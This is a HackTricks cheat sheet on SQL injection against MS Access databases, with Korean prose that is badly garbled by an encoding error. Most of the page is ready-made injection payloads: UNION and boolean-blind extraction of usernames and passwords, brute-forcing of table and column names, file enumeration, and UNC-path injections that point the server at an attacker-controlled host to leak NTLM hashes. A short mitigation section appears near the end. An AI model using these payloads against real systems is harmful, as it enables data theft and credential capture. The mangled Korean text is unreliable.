MS Access SQL Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์จ๋ผ์ธ ํ๋ ์ด๊ทธ๋ผ์ด๋
DB ์ ํ ์ฌํญ
๋ฌธ์์ด ์ฐ๊ฒฐ
๋ฌธ์์ด ์ฐ๊ฒฐ์ & (%26) ๋ฐ + (%2b) ๋ฌธ์๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ๋ฅํฉ๋๋ค.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Comments
MS Access์๋ ์ฃผ์์ด ์์ง๋ง, NULL ๋ฌธ์๋ก ์ฟผ๋ฆฌ์ ๋ง์ง๋ง์ ์ ๊ฑฐํ๋ ๊ฒ์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค:
1' union select 1,2 from table%00
์ฟผ๋ฆฌ์ ๊ตฌ๋ฌธ์ ํญ์ ์์ ํ ์ ์์ต๋๋ค:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
์ง์๋์ง ์์ต๋๋ค.
LIMIT
LIMIT ์ฐ์ฐ์๋ ๊ตฌํ๋์ง ์์์ต๋๋ค. ๊ทธ๋ฌ๋ TOP ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ์ฌ SELECT ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ์ฒ์ N ํ
์ด๋ธ ํ์ผ๋ก ์ ํํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. TOP์ ๋ฐํํ ํ์ ์๋ฅผ ๋ํ๋ด๋ ์ ์๋ฅผ ์ธ์๋ก ๋ฐ์ต๋๋ค.
1' UNION SELECT TOP 3 attr FROM table%00
Just like TOP you can use LAST which will get the rows from the end.
UNION Queries/Sub queries
In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in subqueries or extra queries a FROM is indicated.
๊ทธ๋์, ๋ง์ฝ UNION SELECT ๋๋ UNION ALL SELECT ๋๋ ์กฐ๊ฑด์์ ๊ดํธ ์์ SELECT๋ฅผ ์คํํ๊ณ ์ถ๋ค๋ฉด, ํญ์ ์ ํจํ ํ
์ด๋ธ ์ด๋ฆ๊ณผ ํจ๊ป FROM์ ํ์ํด์ผ ํฉ๋๋ค.
๋ฐ๋ผ์, ์ ํจํ ํ
์ด๋ธ ์ด๋ฆ์ ์์์ผ ํฉ๋๋ค.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
Warning
์ด ๋ฐฉ๋ฒ์ ์ฌ์ฉํ๋ฉด ํ ์ด๋ธ ์ด๋ฆ์ ์ ํ์ ์์ด ํ์ฌ ํ ์ด๋ธ์ ๊ฐ์ ์ ์ถํ ์ ์์ต๋๋ค.
MS Access๋ **'1'=2='3'='asd'=false**์ ๊ฐ์ ์ด์ํ ๊ตฌ๋ฌธ์ ํ์ฉํฉ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก SQL ์ธ์ ์
์ WHERE ์ ์์ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ์
์ฉํ ์ ์์ต๋๋ค.
MS Access ๋ฐ์ดํฐ๋ฒ ์ด์ค์ SQLi๊ฐ ์๊ณ , ํ ์ด ์ด๋ฆ์ด username์ด๋ผ๋ ๊ฒ์ ์๊ณ (๋๋ ์ถ์ธกํ๊ณ ) ๊ทธ ํ๋๋ฅผ ์ ์ถํ๊ณ ์ถ๋ค๊ณ ๊ฐ์ ํด ๋ณด์ธ์. ์ฒด์ธ ๋ฑํธ ๊ธฐ๋ฒ์ ์ฌ์ฉํ ๋ ์น ์ฑ์ ๋ค์ํ ์๋ต์ ํ์ธํ๊ณ Mid ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ๋ถ๋ถ ๋ฌธ์์ด์ ์ป๋ ๋ถ์ธ ์ธ์ ์
์ผ๋ก ์ฝํ
์ธ ๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค.
'=(Mid(username,1,3)='adm')='
ํ
์ด๋ธ์ ์ด๋ฆ๊ณผ ์ด์ ์๊ณ ์๋ค๋ฉด, Mid, LAST ๋ฐ TOP์ ์กฐํฉํ์ฌ ๋ถ๋ฆฌ์ธ SQLi๋ฅผ ํตํด ๋ชจ๋ ์ ๋ณด๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
์จ๋ผ์ธ ํ๋ ์ด๊ทธ๋ผ์ด๋์์ ํ์ธํด ๋ณด์ธ์.
ํ ์ด๋ธ ์ด๋ฆ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ
์ฒด์ธ ์ดํ์ค ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ฌ ํ ์ด๋ธ ์ด๋ฆ์ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉํ ์ ์์ต๋๋ค:
'=(select+top+1+'lala'+from+<table_name>)='
๋ณด๋ค ์ ํต์ ์ธ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ ์๋ ์์ต๋๋ค:
-1' AND (SELECT TOP 1 <table_name>)%00
์จ๋ผ์ธ ํ๋ ์ด๊ทธ๋ผ์ด๋์์ ํ์ธํด ๋ณด์ธ์.
- Sqlmap ์ผ๋ฐ ํ ์ด๋ธ ์ด๋ฆ: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html ์ ๋ ๋ค๋ฅธ ๋ชฉ๋ก์ด ์์ต๋๋ค.
์ด ์ด๋ฆ ๊ฐ์ ์ถ์ธก
์ฒด์ธ ๋ฑํธ ํธ๋ฆญ์ ์ฌ์ฉํ์ฌ ํ์ฌ ์ด ์ด๋ฆ์ ๊ฐ์ ์ถ์ธกํ ์ ์์ต๋๋ค:
'=column_name='
group by๋ก:
-1' GROUP BY column_name%00
๋ค๋ฅธ ํ ์ด๋ธ์ ์ด ์ด๋ฆ์ ๋ค์๊ณผ ๊ฐ์ด ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉํ ์ ์์ต๋๋ค:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
๋ฐ์ดํฐ ๋คํ
์ฐ๋ฆฌ๋ ์ด๋ฏธ ์ฒด์ธ ์ดํ์ค ๊ธฐ๋ฒ ์ ์ฌ์ฉํ์ฌ ํ์ฌ ๋ฐ ๋ค๋ฅธ ํ ์ด๋ธ์์ ๋ฐ์ดํฐ๋ฅผ ๋คํํ๋ ๋ฐฉ๋ฒ์ ๋ํด ๋ ผ์ํ์ต๋๋ค. ํ์ง๋ง ๋ค๋ฅธ ๋ฐฉ๋ฒ๋ ์์ต๋๋ค:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
๊ฐ๋จํ ๋งํด, ์ฟผ๋ฆฌ๋ ์ฑ๊ณต ์ โ200 OKโ๋ฅผ ํธ๋ฆฌ๊ฑฐํ๊ฑฐ๋ ๊ทธ๋ ์ง ์์ ๊ฒฝ์ฐ โ500 Internal Errorโ๋ฅผ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด โif-thenโ ๋ฌธ์ ์ฌ์ฉํฉ๋๋ค. TOP 10 ์ฐ์ฐ์๋ฅผ ์ด์ฉํ๋ฉด ์ฒ์ 10๊ฐ์ ๊ฒฐ๊ณผ๋ฅผ ์ ํํ ์ ์์ต๋๋ค. ์ดํ LAST๋ฅผ ์ฌ์ฉํ์ฌ 10๋ฒ์งธ ํํ๋ง ๊ณ ๋ คํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ฐ์ ๋ํด MID ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ๋ฉด ๊ฐ๋จํ ๋ฌธ์ ๋น๊ต๋ฅผ ์ํํ ์ ์์ต๋๋ค. MID์ TOP์ ์ธ๋ฑ์ค๋ฅผ ์ ์ ํ ๋ณ๊ฒฝํ๋ฉด ๋ชจ๋ ํ์ โusernameโ ํ๋ ๋ด์ฉ์ ๋คํํ ์ ์์ต๋๋ค.
์๊ฐ ๊ธฐ๋ฐ (๋ธ๋ผ์ธ๋) ํธ๋ฆญ
Jet/ACE SQL ์์ฒด๋ SLEEP() ๋๋ WAITFOR ํจ์๋ฅผ ๋ค์ดํฐ๋ธ๋ก ๋ ธ์ถํ์ง ์์ผ๋ฏ๋ก ์ ํต์ ์ธ ์๊ฐ ๊ธฐ๋ฐ ๋ธ๋ผ์ธ๋ ์ธ์ ์ ์ ์ ํ์ ์ ๋๋ค. ๊ทธ๋ฌ๋ ์ฌ์ ํ ๋๋ฆฌ๊ฑฐ๋ ์๋ตํ์ง ์๋ ๋คํธ์ํฌ ๋ฆฌ์์ค์ ์ ๊ทผํ๋๋ก ๊ฐ์ ํจ์ผ๋ก์จ ์ธก์ ๊ฐ๋ฅํ ์ง์ฐ์ ๋์ ํ ์ ์์ต๋๋ค. ์์ง์ด ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๊ธฐ ์ ์ ํ์ผ์ ์ด๋ ค๊ณ ์๋ํ๊ธฐ ๋๋ฌธ์, HTTP ์๋ต ์๊ฐ์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํธ์คํธ์ ๋ํ ์๋ณต ์ง์ฐ ์๊ฐ์ ๋ฐ์ํฉ๋๋ค.
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
UNC ๊ฒฝ๋ก๋ฅผ ๋ค์์ผ๋ก ์ง์ ํ์ญ์์ค:
- ๋์ ๋๊ธฐ ์๊ฐ ๋งํฌ ๋ค์ SMB ๊ณต์
SYN-ACKํ TCP ํธ๋์ ฐ์ดํฌ๋ฅผ ๋๋กญํ๋ ํธ์คํธ- ๋ฐฉํ๋ฒฝ ์ฑํฌํ
์๊ฒฉ ์กฐํ๋ก ์ธํด ์ถ๊ฐ๋ ์ด๋ ๋ถ๋ฆฌ์ธ ์กฐ๊ฑด์ ๋ํ ์์ ์ค๋ธ ๋ฐด๋ ํ์ด๋ฐ ์ค๋ผํด๋ก ์ฌ์ฉ๋ ์ ์์ต๋๋ค (์: ์ฃผ์ ๋ ์กฐ๊ฑด์ด ์ฐธ์ผ ๋๋ง ๋๋ฆฐ ๊ฒฝ๋ก ์ ํ). Microsoft๋ KB5002984์์ ์๊ฒฉ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋์ ๋ฐ ๊ด๋ จ ๋ ์ง์คํธ๋ฆฌ ํฌ ์ค์์น๋ฅผ ๋ฌธ์ํํฉ๋๋ค. ๎cite๎turn1search0๎
๊ธฐํ ํฅ๋ฏธ๋ก์ด ํจ์
Mid('admin',1,1)์์น 1์์ ๊ธธ์ด 1์ ํ์ ๋ฌธ์์ด ๊ฐ์ ธ์ค๊ธฐ (์ด๊ธฐ ์์น๋ 1)LEN('1234')๋ฌธ์์ด์ ๊ธธ์ด ๊ฐ์ ธ์ค๊ธฐASC('A')๋ฌธ์์ ๋ํ ASCII ๊ฐ ๊ฐ์ ธ์ค๊ธฐCHR(65)ASCII ๊ฐ์์ ๋ฌธ์์ด ๊ฐ์ ธ์ค๊ธฐIIF(1=1,'a','b')if thenCOUNT(*)ํญ๋ชฉ ์ ์ธ๊ธฐ
ํ ์ด๋ธ ์ด๊ฑฐ
์ฌ๊ธฐ์์ ํ ์ด๋ธ ์ด๋ฆ์ ๊ฐ์ ธ์ค๋ ์ฟผ๋ฆฌ๋ฅผ ๋ณผ ์ ์์ต๋๋ค:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
๊ทธ๋ฌ๋ MSysObjects ํ
์ด๋ธ์ ์ฝ์ ์ ์๋ ์ ๊ทผ ๊ถํ์ด ์๋ ๊ฒฝ์ฐ SQL ์ธ์ ์
์ ์ฐพ๋ ๊ฒ์ด ๋งค์ฐ ์ผ๋ฐ์ ์ด๋ผ๋ ์ ์ ์ ์ํ์ญ์์ค.
ํ์ผ ์์คํ ์ ๊ทผ
์น ๋ฃจํธ ๋๋ ํ ๋ฆฌ ์ ์ฒด ๊ฒฝ๋ก
์น ๋ฃจํธ ์ ๋ ๊ฒฝ๋ก์ ๋ํ ์ง์์ ์ถ๊ฐ ๊ณต๊ฒฉ์ ์ฉ์ดํ๊ฒ ํ ์ ์์ต๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ์ค๋ฅ๊ฐ ์์ ํ ์จ๊ฒจ์ง์ง ์์ ๊ฒฝ์ฐ, ์กด์ฌํ์ง ์๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋ฐ์ดํฐ๋ฅผ ์ ํํ๋ ค๊ณ ์๋ํจ์ผ๋ก์จ ๋๋ ํ ๋ฆฌ ๊ฒฝ๋ก๋ฅผ ๋ฐ๊ฒฌํ ์ ์์ต๋๋ค.
http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access๋ ์น ๋๋ ํ ๋ฆฌ ์ ์ฒด ๊ฒฝ๋ก๋ฅผ ํฌํจํ๋ ์ค๋ฅ ๋ฉ์์ง๋ก ์๋ตํฉ๋๋ค.
ํ์ผ ์ด๊ฑฐ
๋ค์ ๊ณต๊ฒฉ ๋ฒกํฐ๋ ์๊ฒฉ ํ์ผ ์์คํ ์์ ํ์ผ์ ์กด์ฌ๋ฅผ ์ถ๋ก ํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ์ง์ ๋ ํ์ผ์ด ์กด์ฌํ๋ ๊ฒฝ์ฐ, MS Access๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์์ด ์ ํจํ์ง ์๋ค๋ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
ํ์ผ์ ์ด๊ฑฐํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค.ํ ์ด๋ธ ํญ๋ชฉ์ ์ง์ ํ๋ ๊ฒ์ ๋๋ค. ์ง์ ๋ ํ์ผ์ด ์กด์ฌํ๋ ๊ฒฝ์ฐ, MS Access๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํ์ํฉ๋๋ค.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb ํ์ผ ์ด๋ฆ ์ถ์ธก
**๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์ผ ์ด๋ฆ (.mdb)**์ ๋ค์ ์ฟผ๋ฆฌ๋ก ์ถ๋ก ํ ์ ์์ต๋๋ค:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
์ฌ๊ธฐ์ name[i]๋ .mdb ํ์ผ ์ด๋ฆ์ด๊ณ realTable์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ ์กด์ฌํ๋ ํ ์ด๋ธ์ ๋๋ค. MS Access๋ ํญ์ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํธ๋ฆฌ๊ฑฐํ์ง๋ง, ์ ํจํ์ง ์์ ํ์ผ ์ด๋ฆ๊ณผ ์ ํจํ .mdb ํ์ผ ์ด๋ฆ์ ๊ตฌ๋ณํ๋ ๊ฒ์ ๊ฐ๋ฅํฉ๋๋ค.
์๊ฒฉ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ๊ทผ ๋ฐ NTLM ์๊ฒฉ ์ฆ๋ช ๋์ฉ (2023)
Jet 4.0 ์ดํ ๋ชจ๋ ์ฟผ๋ฆฌ๋ IN '<path>' ์ ์ ํตํด ๋ค๋ฅธ .mdb/.accdb ํ์ผ์ ์๋ ํ
์ด๋ธ์ ์ฐธ์กฐํ ์ ์์ต๋๋ค:
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
์ฌ์ฉ์ ์
๋ ฅ์ด IN ๋ค์ ๋ถ๋ถ(๋๋ JOIN โฆ IN / OPENROWSET / OPENDATASOURCE ํธ์ถ)์ ์ฐ๊ฒฐ๋๋ฉด, ๊ณต๊ฒฉ์๋ ์์ ์ด ์ ์ดํ๋ ํธ์คํธ๋ฅผ ๊ฐ๋ฆฌํค๋ UNC ๊ฒฝ๋ก๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค. ์์ง์ ๋ค์์ ์ํํฉ๋๋ค:
- ์๊ฒฉ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ด๊ธฐ ์ํด SMB / HTTP๋ฅผ ํตํด ์ธ์ฆ์ ์๋ํฉ๋๋ค;
- ์น ์๋ฒ์ NTLM ์๊ฒฉ ์ฆ๋ช ์ ์ ์ถํฉ๋๋ค(๊ฐ์ ์ธ์ฆ);
- ์๊ฒฉ ํ์ผ์ ๊ตฌ๋ฌธ ๋ถ์ํฉ๋๋ค โ ์๋ชป๋ ํ์์ด๊ฑฐ๋ ์ ์์ ์ธ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์ฌ๋ฌ ๋ฒ ํจ์น๋ Jet/ACE ๋ฉ๋ชจ๋ฆฌ ์์ ๋ฒ๊ทธ๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค(์: CVE-2021-28455).
์ค์ฉ์ ์ธ ์ฃผ์ ์:
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
Impact:
- Net-NTLMv2 ํด์์ ๋น๋๊ธฐ ์ ์ถ (์ค๊ณ ๋๋ ์คํ๋ผ์ธ ํฌ๋ํน์ ์ฌ์ฉ ๊ฐ๋ฅ).
- ์๋ก์ด Jet/ACE ํ์ ๋ฒ๊ทธ๊ฐ ์ ์ฉ๋ ๊ฒฝ์ฐ ์๊ฒฉ ์ฝ๋ ์คํ ๊ฐ๋ฅ์ฑ.
Mitigations (๋ ๊ฑฐ์ Classic ASP ์ฑ์๋ ๊ถ์ฅ):
HKLM\Software\Microsoft\Jet\4.0\Engines์๋์AllowQueryRemoteTables = 0๋ ์ง์คํธ๋ฆฌ ๊ฐ์ ์ถ๊ฐํฉ๋๋ค (๋์ผํ ACE ๊ฒฝ๋ก ์๋์๋). ์ด๋ Jet/ACE๊ฐ\\๋ก ์์ํ๋ ์๊ฒฉ ๊ฒฝ๋ก๋ฅผ ๊ฑฐ๋ถํ๋๋ก ๊ฐ์ ํฉ๋๋ค.- ๋คํธ์ํฌ ๊ฒฝ๊ณ์์ ์์๋ฐ์ด๋ SMB/WebDAV ์ฐจ๋จ.
IN์ ์์ ๋ค์ด๊ฐ ์ ์๋ ์ฟผ๋ฆฌ์ ๋ชจ๋ ๋ถ๋ถ์ ์ ๋ฆฌ/๋งค๊ฐ๋ณ์ํํฉ๋๋ค.
๊ฐ์ ์ธ์ฆ ๋ฒกํฐ๋ 2023๋ Check Point Research์ ์ํด ์ฌ์กฐ๋ช ๋์์ผ๋ฉฐ, ๋ ์ง์คํธ๋ฆฌ ํค๊ฐ ์์ ๋ ์์ ํ ํจ์น๋ Windows Server์์๋ ์ฌ์ ํ ์ ์ฉ ๊ฐ๋ฅํจ์ ์ ์ฆํ์ต๋๋ค. ๎cite๎turn0search0๎
.mdb ๋น๋ฐ๋ฒํธ ํฌ๋์ปค
Access PassView๋ Microsoft Access 95/97/2000/XP ๋๋ Jet Database Engine 3.0/4.0์ ์ฃผ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณต๊ตฌํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๋ฌด๋ฃ ์ ํธ๋ฆฌํฐ์ ๋๋ค.
References
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
- Microsoft KB5002984 โ Jet/ACE๋ฅผ ๊ตฌ์ฑํ์ฌ ์๊ฒฉ ํ ์ด๋ธ ์ฐจ๋จ
- Check Point Research โ NTLM ๊ฐ์ ์ธ์ฆ์ ์ํ Microsoft Access ์ฐ๊ฒฐ ํ ์ด๋ธ ์ ์ฉ (2023)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


